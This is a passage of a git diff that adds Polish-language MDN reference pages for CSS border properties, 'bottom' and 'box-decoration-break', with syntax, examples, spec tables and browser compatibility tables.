+ <li><a class="external" href="http://www.w3.org/TR/CSS21/box.html#border-style-properties">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/css3-background/#border-style">CSS 3</a></li>
+</ul>
+
+<h3 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h3>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Przeglądarka</th>
+ <th>Najniższa wersja</th>
+ </tr>
+ <tr>
+ <td>Internet Explorer</td>
+ <td>4</td>
+ </tr>
+ <tr>
+ <td>Firefox</td>
+ <td>1</td>
+ </tr>
+ <tr>
+ <td>Netscape</td>
+ <td>4</td>
+ </tr>
+ <tr>
+ <td>Opera</td>
+ <td>3.5</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="Rozszerzenia_Mozilli" name="Rozszerzenia_Mozilli">Rozszerzenia Mozilli</h3>
+
+<p>Następujące rozszerzenia Mozilli ustawiają poszczególne strony obramowania na wielokrotny kolor dla przeglądarek opartych na silniku Gecko.</p>
+
+<ul>
+ <li>{{ Cssxref("-moz-border-bottom-colors") }}</li>
+ <li>{{ Cssxref("-moz-border-left-colors") }}</li>
+ <li>{{ Cssxref("-moz-border-right-colors") }}</li>
+ <li>{{ Cssxref("-moz-border-top-colors") }}</li>
+</ul>
+
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<p>{{ Cssxref("border") }}, {{ Cssxref("border-width") }}, {{ Cssxref("border-color") }}, {{ Cssxref("-moz-border-radius") }}</p>
+
+
+
+<p>{{ languages( { "de": "de/CSS/border-style", "en": "en/CSS/border-style", "es": "es/CSS/border-style", "fr": "fr/CSS/border-style", "ja": "ja/CSS/border-style" } ) }}</p>
diff --git a/files/pl/web/css/border-top-color/index.html b/files/pl/web/css/border-top-color/index.html
new file mode 100644
index 0000000000..0f28de470d
--- /dev/null
+++ b/files/pl/web/css/border-top-color/index.html
@@ -0,0 +1,14 @@
+---
+title: border-top-color
+slug: Web/CSS/border-top-color
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/border-top-color
+---
+<p>{{ CSSRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><code>border-top-color</code> ustawia kolor górnego obramowania elementu.</p>
+<p>Zobacz własność <code><a href="/pl/CSS/border-bottom-color" title="pl/CSS/border-bottom-color">border-bottom-color</a></code>, aby uzyskać więcej informacji.</p>
diff --git a/files/pl/web/css/border-top-left-radius/index.html b/files/pl/web/css/border-top-left-radius/index.html
new file mode 100644
index 0000000000..d35e50e7a0
--- /dev/null
+++ b/files/pl/web/css/border-top-left-radius/index.html
@@ -0,0 +1,20 @@
+---
+title: '-moz-border-radius-topleft'
+slug: Web/CSS/border-top-left-radius
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - 'CSS:Rozszerzenia_Mozilli'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/border-top-left-radius
+---
+<p>{{ CSSRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>W aplikacjach opartych na Mozilli <code>-moz-border-radius-topleft</code> ustawia zaokrąglenie górnego lewego rogu obramowania.</p>
+
+<p>Zobacz więcej informacji we własności <a href="/pl/CSS/-moz-border-radius" title="pl/CSS/-moz-border-radius">-moz-border-radius</a>.</p>
+
+<p>{{ languages( { "de": "de/CSS/border-top-left-radius", "en": "en/CSS/-moz-border-radius-topleft", "fr": "fr/CSS/border-top-left-radius", "ja": "ja/CSS/border-top-left-radius" } ) }}</p>
diff --git a/files/pl/web/css/border-top-right-radius/index.html b/files/pl/web/css/border-top-right-radius/index.html
new file mode 100644
index 0000000000..1bfdcab43d
--- /dev/null
+++ b/files/pl/web/css/border-top-right-radius/index.html
@@ -0,0 +1,14 @@
+---
+title: border-top-right-radius
+slug: Web/CSS/border-top-right-radius
+tags:
+ - CSS
+translation_of: Web/CSS/border-top-right-radius
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>W aplikacjach opartych na Mozilli <code>border-top-right-radius</code> ustawia zaokrąglenie górnego prawego rogu obramowania.</p>
+
+<p>Zobacz więcej informacji we własności <a href="/pl/CSS/-moz-border-radius" title="pl/CSS/-moz-border-radius">border-radius</a>.</p>
diff --git a/files/pl/web/css/border-top-style/index.html b/files/pl/web/css/border-top-style/index.html
new file mode 100644
index 0000000000..a6c65d9776
--- /dev/null
+++ b/files/pl/web/css/border-top-style/index.html
@@ -0,0 +1,16 @@
+---
+title: border-top-style
+slug: Web/CSS/border-top-style
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/border-top-style
+---
+<p>{{ CSSRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><code>border-top-style</code> ustawia styl linii górnego obramowania bloku.</p>
+<p>Zobacz własność <code><a href="/pl/CSS/border-bottom-style" title="pl/CSS/border-bottom-style">border-bottom-style</a></code>, aby uzyskać więcej informacji.</p>
+
+<p>{{ languages( { "de": "de/CSS/border-top-style", "en": "en/CSS/border-top-style", "fr": "fr/CSS/border-top-style", "ja": "ja/CSS/border-top-style" } ) }}</p>
diff --git a/files/pl/web/css/border-top-width/index.html b/files/pl/web/css/border-top-width/index.html
new file mode 100644
index 0000000000..f1f68284fa
--- /dev/null
+++ b/files/pl/web/css/border-top-width/index.html
@@ -0,0 +1,16 @@
+---
+title: border-top-width
+slug: Web/CSS/border-top-width
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/border-top-width
+---
+<p>{{ CSSRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><code>border-top-width</code> ustawia szerokość górnego obramowania bloku.</p>
+<p>Zobacz własciwość <a href="/pl/CSS/border-bottom-width" title="pl/CSS/border-bottom-width">border-bottom-width</a>, aby uzyskać więcej informacji.</p>
+
+<p>{{ languages( { "de": "de/CSS/border-top-width", "en": "en/CSS/border-top-width", "fr": "fr/CSS/border-top-width", "ja": "ja/CSS/border-top-width" } ) }}</p>
diff --git a/files/pl/web/css/border-top/index.html b/files/pl/web/css/border-top/index.html
new file mode 100644
index 0000000000..941f0a6821
--- /dev/null
+++ b/files/pl/web/css/border-top/index.html
@@ -0,0 +1,123 @@
+---
+title: border-top
+slug: Web/CSS/border-top
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/border-top
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Własność <code>border-top</code> jest skróconą własnością dla ustawienia szerokości, stylu i koloru górnej krawędzi elementu. Ta własność może być używana do ustawienia jednej lub kilku wartości: {{ Cssxref("border-top-width") }}, {{ Cssxref("border-top-style") }}, {{ Cssxref("border-top-color") }}. Pominięte wartości są ustawiane do ich wartości początkowych.</p>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval">border-top: [<em>border-width</em> || <em>border-style</em> || <em>border-color</em> | <em>inherit</em>] ;
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>border-width</dt>
+ <dd>Zobacz {{ Cssxref("border-width") }}.</dd>
+ <dt>border-style </dt>
+ <dd>Zobacz {{ Cssxref("border-style") }}.</dd>
+ <dt>border-color </dt>
+ <dd>Zobacz {{ Cssxref("border-color") }}.</dd>
+</dl>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<pre>element {
+ border-top: 1px solid #000;
+}
+</pre>
+
+<h2 id="Notatki" name="Notatki">Notatki</h2>
+
+<p>Jeśli reguła nie określi koloru krawędzi, krawędź będzie miała kolor zdefiniowany przez własność {{ Cssxref("color") }}.</p>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Backgrounds', '#border-top', 'border-top')}}</td>
+ <td>{{Spec2('CSS3 Backgrounds')}}</td>
+ <td>No direct changes, though the modification of values for the {{cssxref("border-top-color")}} do apply to it.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'box.html#propdef-border-top', 'border-top')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>No significant changes</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#border-top', 'border-top')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>1.0</td>
+ <td>{{CompatGeckoDesktop("1.0")}}</td>
+ <td>4</td>
+ <td>3.5</td>
+ <td>1.0 (85)</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>1.0</td>
+ <td>{{CompatGeckoMobile("1.0")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/pl/web/css/border-width/index.html b/files/pl/web/css/border-width/index.html
new file mode 100644
index 0000000000..ec17638eff
--- /dev/null
+++ b/files/pl/web/css/border-width/index.html
@@ -0,0 +1,113 @@
+---
+title: border-width
+slug: Web/CSS/border-width
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/border-width
+---
+<p>{{ CSSRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p><code>border-width</code> ustawia szerokość obramowania bloku.</p>
+
+<ul>
+ <li>{{ Xref_cssinitial() }}: {{ Cssxref("medium") }}</li>
+ <li>Stasowana do: wszystkich elementów</li>
+ <li>{{ Xref_cssinherited() }}: nie</li>
+ <li>Procenty: niedostępne</li>
+ <li>Media: {{ Xref_cssvisual() }}</li>
+ <li>{{ Xref_csscomputed() }}: długość całkowita; '0' jeśli stylem obramowania jest <code>none</code> lub <code>hidden</code></li>
+</ul>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval">border-width: &lt;border-width&gt; {1,4} | inherit
+</pre>
+
+<h3 id="Warto.C5.9Bci_.3Cborder-width.3E" name="Warto.C5.9Bci_.3Cborder-width.3E">Wartości &lt;border-width&gt;</h3>
+
+<dl>
+ <dt><strong>&lt;border-width-value&gt;</strong></dt>
+ <dd><code>thin | medium | thick | </code> {{cssxref("&lt;length&gt;")}} <code>|</code> {{cssxref("&lt;percentage&gt;")}}</dd>
+ <dt>thin</dt>
+ <dd>Cienkie obramowanie.</dd>
+ <dt>medium</dt>
+ <dd>Średnie obramowanie.</dd>
+ <dt>thick</dt>
+ <dd>Grube obramowanie.</dd>
+ <dt>&lt;length&gt;</dt>
+ <dd>Grubość obramowania ma sprecyzowaną wartość. Sprecyzowana szerokość obramowania nie może być ujemna.</dd>
+ <dt>&lt;percentage&gt;</dt>
+ <dd>Grubość obramowania ma wartość procentową, w procentach szerokości zawierającego bloku. Sprecyzowane szerokości nie mogą być ujemne.</dd>
+</dl>
+
+<p>Uwaga: Wartość <code>em</code> jest również dopuszczalna.</p>
+
+<h3 id="Powi.C4.85zane_w.C5.82asno.C5.9Bci" name="Powi.C4.85zane_w.C5.82asno.C5.9Bci">Powiązane własności</h3>
+
+<ul>
+ <li>{{ Cssxref("border-bottom-width") }}</li>
+ <li>{{ Cssxref("border-left-width") }}</li>
+ <li>{{ Cssxref("border-right-width") }}</li>
+ <li>{{ Cssxref("border-top-width") }}</li>
+</ul>
+
+<p> </p>
+
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+
+<p><a href="/samples/cssref/border.html">Zobacz przykład</a></p>
+
+<pre>element {
+ border-width: thin;
+ border-style: solid;
+ border-color: #000;
+}
+</pre>
+
+<h3 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#border-width">CSS 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/box.html#border-width-properties">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/css3-background/#border-width">CSS 3</a></li>
+</ul>
+
+<h3 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h3>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Przeglądarka</th>
+ <th>Najniższa wersja</th>
+ </tr>
+ <tr>
+ <td>Internet Explorer</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>Firefox</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>Netscape</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>Opera</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h3 id="Zobacz_r.C3.B3wnie.C5.BC" name="Zobacz_r.C3.B3wnie.C5.BC">Zobacz również</h3>
+
+<p>{{ Cssxref("border") }}, {{ Cssxref("border-style") }}, {{ Cssxref("border-color") }},</p>
+
+<p>{{ languages( { "de": "de/CSS/border-width", "en": "en/CSS/border-width", "es": "es/CSS/border-width", "fr": "fr/CSS/border-width", "ja": "ja/CSS/border-width" } ) }}</p>
diff --git a/files/pl/web/css/border/index.html b/files/pl/web/css/border/index.html
new file mode 100644
index 0000000000..21b8f42f9a
--- /dev/null
+++ b/files/pl/web/css/border/index.html
@@ -0,0 +1,123 @@
+---
+title: border
+slug: Web/CSS/border
+tags:
+ - CSS
+translation_of: Web/CSS/border
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Własność <code>border</code> jest skróconą własnością dla ustawienia indywidualnych wartości własności obramowania w jednym miejscu w arkuszu stylów. <code>border</code> może być używane do ustawienia jednej lub więcej z następujących własności: {{ Cssxref("border-width") }}, {{ Cssxref("border-style") }}, {{ Cssxref("border-color") }}.</p>
+
+<p>{{cssinfo}}</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval">border: [<em>border-width</em> || <em>border-style</em> || <em>border-color</em> | <em>inherit</em>] ;
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>border-width</dt>
+ <dd>Zobacz {{ Cssxref("border-width") }}.</dd>
+ <dt>border-style </dt>
+ <dd>Zobacz {{ Cssxref("border-style") }}.</dd>
+ <dt>border-color </dt>
+ <dd>Zobacz {{ Cssxref("border-color") }}.</dd>
+</dl>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<p><a href="/samples/cssref/border.html">Zobacz przykład</a></p>
+
+<pre>element {
+ border: 1px solid #000;
+}
+</pre>
+
+<h2 id="Notatki" name="Notatki">Notatki</h2>
+
+<p>Podczas, gdy własności {{ Cssxref("border-width") }}, {{ Cssxref("border-style") }} oraz {{ Cssxref("border-color") }} przyjmują do czterech wartości, ta własność przyjmuje tylko jedną wartość dla każdej własności.</p>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Backgrounds', '#the-border-shorthands', 'border')}}</td>
+ <td>{{Spec2('CSS3 Backgrounds')}}</td>
+ <td>Technically removes the support for <code>transparent</code> as it is now a valid {{cssxref("&lt;color&gt;")}}; this has no practical influence.<br>
+ Though it cannot be set to another value using the shorthand, <code>border</code> does now reset {{cssxref("border-image")}} to its initial value (<code>none</code>).</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'box.html#border-shorthand-properties', 'border')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Accepts the <code>inherit</code> keyword. Also accepts <code>transparent</code> as a valid color.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#border', 'border')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>1.0</td>
+ <td>{{CompatGeckoDesktop("1.0")}}</td>
+ <td>4.0</td>
+ <td>3.5</td>
+ <td>1.0 (85)</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatUnknown()}}</td>
+ <td>{{CompatGeckoMobile("1.9.2")}}</td>
+ <td>{{CompatUnknown()}}</td>
+ <td>{{CompatUnknown()}}</td>
+ <td>1.0</td>
+ </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/pl/web/css/bottom/index.html b/files/pl/web/css/bottom/index.html
new file mode 100644
index 0000000000..097a323292
--- /dev/null
+++ b/files/pl/web/css/bottom/index.html
@@ -0,0 +1,149 @@
+---
+title: bottom
+slug: Web/CSS/bottom
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/bottom
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Właściwość <code>bottom</code> określa część pozycji elementu pozycjonowanego.</p>
+
+<p>Dla elementów pozycjonowanych absolutnie (tych z <code>position: absolute</code> lub <code>position: fixed</code>) określa odległość między dolnym marginesem krawędzi elementu a dolną krawędzią zawierającego go bloku.</p>
+
+<p>Dla elementów pozycjonowanych relatywnie (tych z <code>position: relative</code>) określa wartość, o jaką element jest przesunięty powyżej jego normalnej pozycji. Jednak własność {{ Cssxref("top") }} unieważnia własność <code>bottom</code>, zatem, jeśli <code>top</code> nie jest ustawione na <code>auto</code>, wartość wyliczona <code>bottom</code> jest ujemną wartością wyliczoną <code>top</code><strong>.</strong></p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval"> bottom: &lt;length&gt; | &lt;percentage&gt; | auto | inherit
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>&lt;length&gt; </dt>
+ <dd>Długość, używana jak w opisano w <a href="#Podsumowanie">podsumowaniu</a>. Może mieć wartość ujemną, zero lub dodatnią.</dd>
+ <dt>&lt;percentage&gt; </dt>
+ <dd>Procenty wysokości zawierającego bloku, używane jak opisano w <a href="#Podsumowanie">podsumowaniu</a>.</dd>
+ <dt><code>auto</code> </dt>
+ <dd>Dla elementów pozycjonowanych absolutnie pozycja elementu oparta jest na własności {{ Cssxref("top") }} i przyjmuje <code>height: auto</code> jako wysokość bazującą na zawartości. Dla elementów pozycjonowanych relatywnie przesunięcie elementu z jego oryginalnej pozycji w oparciu o własność {{ Cssxref("top") }} lub, jeśli <code>top</code> jest również ustawione na <code>auto</code>, nie przesuwa wcale.</dd>
+ <dt><code>inherit</code> </dt>
+ <dd>Dziedziczy wartość wyliczoną od elementu rodzica (który może nie być zawierającym go blokiem). Ta wartość wyliczona jest wtedy traktowana jak to było 'z &lt;length&gt;, &lt;percentage&gt; lub <code>auto</code><strong>.</strong></dd>
+</dl>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<pre>element {
+ position: absolute;
+ bottom: 20px;
+ height: 200px;
+ border: 1px solid #000;
+}
+</pre>
+
+<p>Poniższa przykładowa strona porównuje <code>position:absolute</code> z <code>position:fixed</code>. Kiedy normalny tekst staje się wyższy niż wyświetlana część strony (obszar okna przeglądarki), elementy blokowe pozycjonowane przy użyciu <code>position:absolute</code> przesuwają się razem ze stroną, podczas, gdy elementy blokowe pozycjonowane przy użyciu <code>position:fixed</code> nie przesuwają się. Zauważ, że IE6 nie wspiera <code>position:fixed</code>.</p>
+
+<pre>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN"
+ "http://www.w3.org/TR/html4/strict.dtd"&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta http-equiv="content-type" content="text/html; charset=iso-8859-1"&gt;
+&lt;title&gt;Position at bottom, absolute or fixed&lt;/title&gt;
+&lt;style type="text/css"&gt;
+p {font-size:30px; line-height:3em;}
+div.pos {width:49%; text-align:center; border:2px solid #00f;}
+div#abs {position:absolute; bottom:0; left:0;}
+div#fix {position:fixed; bottom:0; right:0;}
+&lt;/style&gt;
+&lt;/head&gt;
+&lt;body&gt;
+ &lt;p&gt;This&lt;br&gt;is&lt;br&gt;some&lt;br&gt;tall,&lt;br&gt;tall,
+ &lt;br&gt;tall,&lt;br&gt;tall,&lt;br&gt;tall&lt;br&gt;content.&lt;/p&gt;
+ &lt;div id="fix" class="pos"&gt;&lt;p&gt;Fixed&lt;/p&gt;&lt;/div&gt;
+ &lt;div id="abs" class="pos"&gt;&lt;p&gt;Absolute&lt;/p&gt;&lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Notatki" name="Notatki">Notatki</h2>
+
+<p>Dla elementów pozycjonowanych absolutnie, których zawierający je blok jest oparty na elemencie blokowym, ta własność jest przesunięciem względem krawędzi dopełnienia tego elementu.</p>
+
+<p>Dla elementów pozycjonowanych absolutnie własność <code>bottom</code> nie ma widocznych efektów, jeśli wszystkie wartości {{ Cssxref("top") }}, {{ Cssxref("height") }} i {{ Cssxref("margin-top") }}<em>nie</em> są <code>auto</code> (co jest domyślną wartością dla <code>top</code> oraz <code>height</code>).</p>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'visuren.html#choose-position', 'bottom')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>1.0</td>
+ <td>{{CompatGeckoDesktop("1.0")}}</td>
+ <td>5<sup>[1]</sup></td>
+ <td>6</td>
+ <td>1.0 (85)</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("1.9.2")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] In Internet Explorer versions before 7.0, when both {{cssxref("top")}} and <code>bottom</code> are specified, the element position is over-constrained and the {{cssxref("top")}} property has precedence. In that case the computed value of <code>bottom</code> is set to <code>-top</code>, while its specified value is ignored.</p>
diff --git a/files/pl/web/css/box-decoration-break/index.html b/files/pl/web/css/box-decoration-break/index.html
new file mode 100644
index 0000000000..0bd73ac2a9
--- /dev/null
+++ b/files/pl/web/css/box-decoration-break/index.html
@@ -0,0 +1,202 @@
+---
+title: box-decoration-break
+slug: Web/CSS/box-decoration-break
+tags:
+ - CSS
+ - CSS Fragmentation
+ - CSS Property
+ - Experimental
+translation_of: Web/CSS/box-decoration-break
+---
+<p>{{CSSRef}}{{SeeCompatTable}}</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>The <strong><code>box-decoration-break</code></strong> CSS property specifies how the {{ Cssxref("background") }}, {{ Cssxref("padding") }}, {{ Cssxref("border") }}, {{ Cssxref("border-image") }}, {{ Cssxref("box-shadow") }}, {{ Cssxref("margin") }} and {{ Cssxref("clip") }} of an element is applied when the box for the element is fragmented.  Fragmentation occurs when an inline box wraps onto multiple lines, or when a block spans more than one column inside a column layout container, or spans a page break when printed.  Each piece of the rendering for the element is called a fragment.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush:css">box-decoration-break: slice;
+box-decoration-break: clone;
+
+box-decoration-break: initial;
+box-decoration-break: inherit;
+box-decoration-break: unset;
+</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>slice</code></dt>
+ <dd>The element is rendered as if its box were not fragmented, and then the rendering for this hypothetical box is sliced into pieces for each line/column/page. Note that the hypothetical box can be different for each fragment since it uses its own height if the break occurs in the inline direction, and its own width if the break occurs in the block direction. See the CSS specification for details.</dd>
+ <dt><code>clone</code></dt>
+ <dd>Each box fragment is rendered independently with the specified border, padding and margin wrapping each fragment. The {{ Cssxref("border-radius") }}, {{ Cssxref("border-image") }} and {{ Cssxref("box-shadow") }}, are applied to each fragment independently. The background is drawn independently in each fragment which means that a background image with {{ Cssxref("background-repeat") }}: <code>no-repeat</code> may be repeated multiple times.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Inline_box_fragments">Inline box fragments</h3>
+
+<p>An inline element that contains line-breaks styled with:</p>
+
+<pre class="brush:css">.example {
+ background: linear-gradient(to bottom right, yellow, green);
+ box-shadow:
+ 8px 8px 10px 0px deeppink,
+ -5px -5px 5px 0px blue,
+ 5px 5px 15px 0px yellow;
+ padding: 0em 1em;
+ border-radius: 16px;
+ border-style: solid;
+ margin-left: 10px;
+ font: 24px sans-serif;
+ line-height: 2;
+}
+
+...
+&lt;span class="example"&gt;The&lt;br&gt;quick&lt;br&gt;orange fox&lt;/span&gt;</pre>
+
+<p>Results in:</p>
+
+<p><img alt="A screenshot of the rendering of an inline element styled with box-decoration-break:slice and styles given in the example." src="https://mdn.mozillademos.org/files/8167/box-decoration-break-inline-slice.png" style="height: 177px; width: 191px;"></p>
+
+<p>Adding <code>box-decoration-break:clone</code> to the above styles:</p>
+
+<pre class="brush:css"> -webkit-box-decoration-break: clone;
+ -o-box-decoration-break: clone;
+ box-decoration-break: clone;
+</pre>
+
+<p>Results in:</p>
+
+<p><img alt="A screenshot of the rendering of an inline element styled with box-decoration-break:clone and styles given in the example" src="https://mdn.mozillademos.org/files/8169/box-decoration-break-inline-clone.png" style="height: 180px; width: 231px;"></p>
+
+<p>You can <a href="https://mdn.mozillademos.org/files/8179/box-decoration-break-inline.html">try the two inline examples above</a> in your browser.</p>
+
+<p>Here's an example of an inline element using a large <code>border-radius</code> value. The second <code>"iM"</code> has a line-break between the <code>"i"</code> and the <code>"M"</code>. For comparison, the first <code>"iM"</code> is without line-breaks. Note that if you stack the rendering of the two fragments horizontally next to each other it will result in the non-fragmented rendering.</p>
+
